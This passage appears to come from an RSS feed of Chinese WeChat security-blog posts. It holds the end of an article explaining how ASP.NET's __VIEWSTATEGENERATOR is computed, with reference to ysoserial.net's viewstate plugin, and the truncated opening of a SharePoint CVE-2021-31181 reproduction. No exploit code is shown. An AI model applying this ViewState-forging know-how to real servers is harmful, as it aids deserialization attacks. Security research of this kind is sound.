&#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="53" data-backw="319" data-ratio="0.1638755980861244" title="null" data-type="png" data-w="836" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=c78d85da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEmswBm0PEeX6kKqrBMEep0cak8OGtwHpqS0gmzAHcT8Fc0qLKsibnPXw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">回到大腿师傅的问题，我个人结论是__VIEWSTATEGENERATOR和machineKey没有关系。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">本地实验两个不同的machineKey，__VIEWSTATEGENERATOR一致</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="214" data-backw="319" data-ratio="0.6697247706422018" title="null" data-type="png" data-w="981" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=83a19e95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEpMyiatqEyjZWBrTSXTbXU0ONS2mGyPBAnsFArIC0OnverLECQDxCiaHQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">而当machineKey相同，文件名和类名不同时，__VIEWSTATEGENERATOR不一致</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="234" data-backw="319" data-ratio="0.7311178247734139" title="null" data-type="png" data-w="993" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1d978587&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuEguGHkT19X9TXRz41BOUsR17Gcujv2JbiaMu3Ks9v5sFNEt0YibfWQp5A%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">原因就是GetClientStateIdentifier生成__VIEWSTATEGENERATOR是依据TemplateSourceDirectory和classname，而并非machineKey。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">另外ysoserial.net中viewstate插件有apppath和path参数，这两个参数就是用来计算VIEWSTATEGENERATOR的值，如果页面源代码里没有VIEWSTATEGENERATOR，可以使用这两个参数来计算。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><br/></p><section data-mpa-template="t" mpa-from-tpl="t" style="max-width: 100%;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="max-width: 100%;display: flex;justify-content: center;align-items: center;width: 677px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="max-width: 100%;display: flex;justify-content: center;align-items: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 12px;height: 12px;display: flex;justify-content: center;align-items: center;align-self: center;z-index: 1;transform: translateX(17px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-ratio="1" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 24px !important;visibility: visible !important;" data-type="png" data-w="24" src="https://wechat2rss.xlab.app/img-proxy/?k=c2de618d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicT6zo78N9SHRYIg4eDJTchrgnIPAFTcbhPIx7xNI6bThDqYMwV9VsyBkh2KiaWpyIicY0YQskWETw3P6XJDauxvg%2F640%3Fwx_fmt%3Dpng"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 10px;max-width: 100%;background-color: rgb(255, 246, 219);border-width: 1px;border-style: solid;border-color: rgb(136, 65, 81);box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="padding: 7px 11px 6px;max-width: 100%;text-align: center;background-color: rgb(255, 251, 249);border-left: 1px solid rgb(136, 65, 81);border-right: 1px solid rgb(136, 65, 81);box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-mid="" style="max-width: 100%;min-height: 1em;font-size: 16px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(136, 65, 81);line-height: 22px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">赠书环节</p></section></section></section></section></section><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-galleryid="" data-ratio="1.3220551378446115" data-s="300,640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 202px !important;visibility: visible !important;" data-type="png" data-w="798" src="https://wechat2rss.xlab.app/img-proxy/?k=c54b8881&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicmhgWdShPSGkWH1RU9nBbbU4xbxNCMlZzg63ibWILyorvWQZN83Ip0Yic4jdsfvQvlDzxQjPvWyNLIibpg023s9sg%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section><mpcps frameborder="0" class="js_editor_cps" data-datakey="1623555407231_0.6210300743564918" style="width:100% !important;border:0;" data-uid="1623555407229" data-type="1" data-product="" data-templateid="list" data-pid="29223356" data-color="#fa7834" data-categoryid="3" data-appuin="3084391334"></mpcps></section><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section data-mpa-template="t" mpa-from-tpl="t" style="max-width: 100%;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="max-width: 100%;display: flex;justify-content: center;align-items: center;width: 677px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="padding-right: 16px;padding-left: 16px;max-width: 100%;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 677px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;width: 645px;display: flex;justify-content: space-between;align-items: center;background-color: rgb(255, 246, 219);border-top: 1px solid rgb(136, 65, 81);border-right: 1px solid rgb(136, 65, 81);border-bottom-style: none;border-left: 1px solid rgb(136, 65, 81);box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="margin-left: 6px;max-width: 100%;width: 4px;height: 7px;display: flex;justify-content: center;align-items: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-ratio="1.75" data-type="png" data-w="8" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 8px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f8821f4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FBQyFOUrVbtBWKC3Cqu04riaP6EQ9nKiaIp4jibCn4icvPCrIMFib8WKaS2jib9JJMwXyWibR4Gl6ogVyESkoPV0pDNKNg%2F640%3Fwx_fmt%3Dpng"/></section><section data-mid="" mpa-from-tpl="t" style="margin-right: 12px;max-width: 100%;width: 27px;height: 5px;display: flex;justify-content: center;align-items: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-ratio="0.18518518518518517" data-type="png" data-w="54" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 54px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=181ad733&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVqOqowkr5GuRnNkgpjmBkfVLOicNlBtREIgE1X7XaKpcg4QQT9ia3RdNB6W9hhchlsXrmG1dm9DWHydC9uAawRiag%2F640%3Fwx_fmt%3Dpng"/></section></section><section data-mid="" mpa-from-tpl="t" style="padding: 14px 13px 17px 23px;max-width: 100%;width: 645px;text-align: left;background-color: rgb(255, 241, 232);border-width: 1px;border-style: solid;border-color: rgb(136, 65, 81);box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-mid="" mpa-is-content="t" style="max-width: 100%;min-height: 1em;font-size: 14px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(136, 65, 81);line-height: 20px;letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 82, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">推荐语：</span></p><p data-mid="" mpa-is-content="t" style="max-width: 100%;min-height: 1em;font-size: 14px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(136, 65, 81);line-height: 20px;letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">（1）系统全面，讲述企业信息安全建设从0到1的全部过程。本书聚焦安全体系如何落地，从安全体系规划、方案设计、产品选型、产品开发、部署实施、日常运维等维度详细阐释，内容覆盖办公安全、IDC安全、产品安全、数据安全、安全管理、安全自动化系统开发和业务安全体系建设，基本满足大多数中小企业的安全建设需求。</span></p><p data-mid="" mpa-is-content="t" style="max-width: 100%;min-height: 1em;font-size: 14px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(136, 65, 81);line-height: 20px;letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">（2）结合作者实践经验，可操作性强。笔者有十多年信息安全从业经验，曾任职于国内知名网络安全厂商，为数十家企业和各类单位提供安全咨询和专业服务，熟悉企业的安全需求和痛点，本书将作者的实际工作经验总结为案例，具体实用。</span></p><p data-mid="" mpa-is-content="t" style="max-width: 100%;min-height: 1em;font-size: 14px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(136, 65, 81);line-height: 20px;letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">（3）分析具体，深入浅出，易于理解。本书从与日常的生活与工作息息相关的安全问题着手，由浅入深循序渐进，讲解信息安全建设过程中的注意事项，便于读者理解安全架构的原理，进而使安全系统建设更加完备。</span></p></section><section data-mid="" mpa-from-tpl="t" style="margin-top: -17px;max-width: 100%;width: 27px;height: 17px;display: flex;justify-content: center;align-items: center;align-self: flex-end;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-ratio="0.6296296296296297" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 27px !important;visibility: visible !important;" data-type="svg" data-w="27" src="https://wechat2rss.xlab.app/img-proxy/?k=eaa2fa41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2FkMaz9nc8bgKGiaiaqbUGUTPE3hERPJTaPfqbtHu83o2gyVXrLWibiaXRdauv0nOdzHoe3CjiaibFHnqY0jsRtvNiaVfCC3APQ4iafU1P%2F640%3Fwx_fmt%3Dsvg"/></section></section></section></section><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">哇！小编也好想来一本，快点击下方</span><span style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 15px;color: rgb(217, 33, 66);box-sizing: border-box !important;overflow-wrap: break-word !important;">抽奖</span><span style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">吧！（转发朋友圈，开奖前取消作废）</span></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><p><a class="weapp_image_link js_weapp_entry" data-miniprogram-appid="wx01bb1ef166cd3f4e" data-miniprogram-path="/pages/lucky/lottery/detail?id=872sFMlNxp0" data-miniprogram-nickname="抽奖助手" href="" data-miniprogram-type="image" data-miniprogram-servicetype="" href=""><img class="rich_pages" data-ratio="0.8" data-s="300,640" style="" data-type="jpeg" data-w="1350" src="https://wechat2rss.xlab.app/img-proxy/?k=ae88049a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibqxXCIN2iaFhQeC4FrZFWVuE2Hh0MnfbSkz7GYfnbFmWlEWjNMqXTZxGtjTDBoaeibewpY4Jf4Yibwbg%2F640%3Fwx_fmt%3Djpeg"/></a></p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">参考</h1><p style="box-sizing: border-box;padding-left: 1em;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">1.</span><a href="https://www.cnblogs.com/edisonchou/p/3901559.html" target="_blank">https://www.cnblogs.com/edisonchou/p/3901559.html</a></span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">2.</span><a href="https://paper.seebug.org/1386/" target="_blank">https://paper.seebug.org/1386/</a></span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">3.</span><a href="https://github.com/0xacb/viewgen" target="_blank">https://github.com/0xacb/viewgen</a></span></p><h3 style="box-sizing: border-box;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-bottom: 0.1em;padding-left: 8px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;border-left: 4px solid rgb(248, 57, 41);">References</h3><p style="box-sizing: border-box;margin: 0.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;"><code style="box-sizing: border-box;opacity: 0.6;">[1]</code> ViewStateDecoder: <em style="box-sizing: border-box;"><a href="https://github.com/raise-isayan/ViewStateDecoder/tree/master/release" target="_blank">https://github.com/raise-isayan/ViewStateDecoder/tree/master/release</a></em><br style="box-sizing: border-box;"/><code style="box-sizing: border-box;opacity: 0.6;">[2]</code> 微软文档中: <em style="box-sizing: border-box;"><a href="https://docs.microsoft.com/en-us/previous-versions/msp-n-p/ff649308(v=pandp.10)?redirectedfrom=MSDN" target="_blank">https://docs.microsoft.com/en-us/previous-versions/msp-n-p/ff649308(v=pandp.10)?redirectedfrom=MSDN</a></em></p><p><br/></p>



<p><a href="2247486052">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1e758a17&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486052%26idx%3D1%26sn%3D4ef337ca2d68a6cabf969f6dbda2fb51%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 13 Jun 2021 12:13:00 +0800</pubDate>
    </item>
    <item>
      <title>SharePoint CVE-2021-31181 复现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247485998&amp;idx=1&amp;sn=703e7af8ee039b48cfee6fdfb02f55b9</link>
      <description>复现需要一个用户，我这使用的是域管理员账号+SharePoint2016先要创建team site，在sp2</description>
      <content:encoded><![CDATA[<p>
<span>Y4er</span> <span>2021-06-08 08:48</span> <span style="display: inline-block;"></span>
</p>

<p>复现需要一个用户，我这使用的是域管理员账号+SharePoint2016先要创建team site，在sp2</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f56ac2a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QF7beRbYJcJyejcqYaH3J8Ea0g3kvsGp2ZUbaiafwbRsO8sA46ia0X9LMQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">复现</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">需要一个用户，我这使用的是域管理员账号+SharePoint2016</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">先要创建team site，在sp2016里是创建网站集，我创建一个名为ts的网站集</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><a href="http://sharepoint:8080/_admin/createsite.aspx" 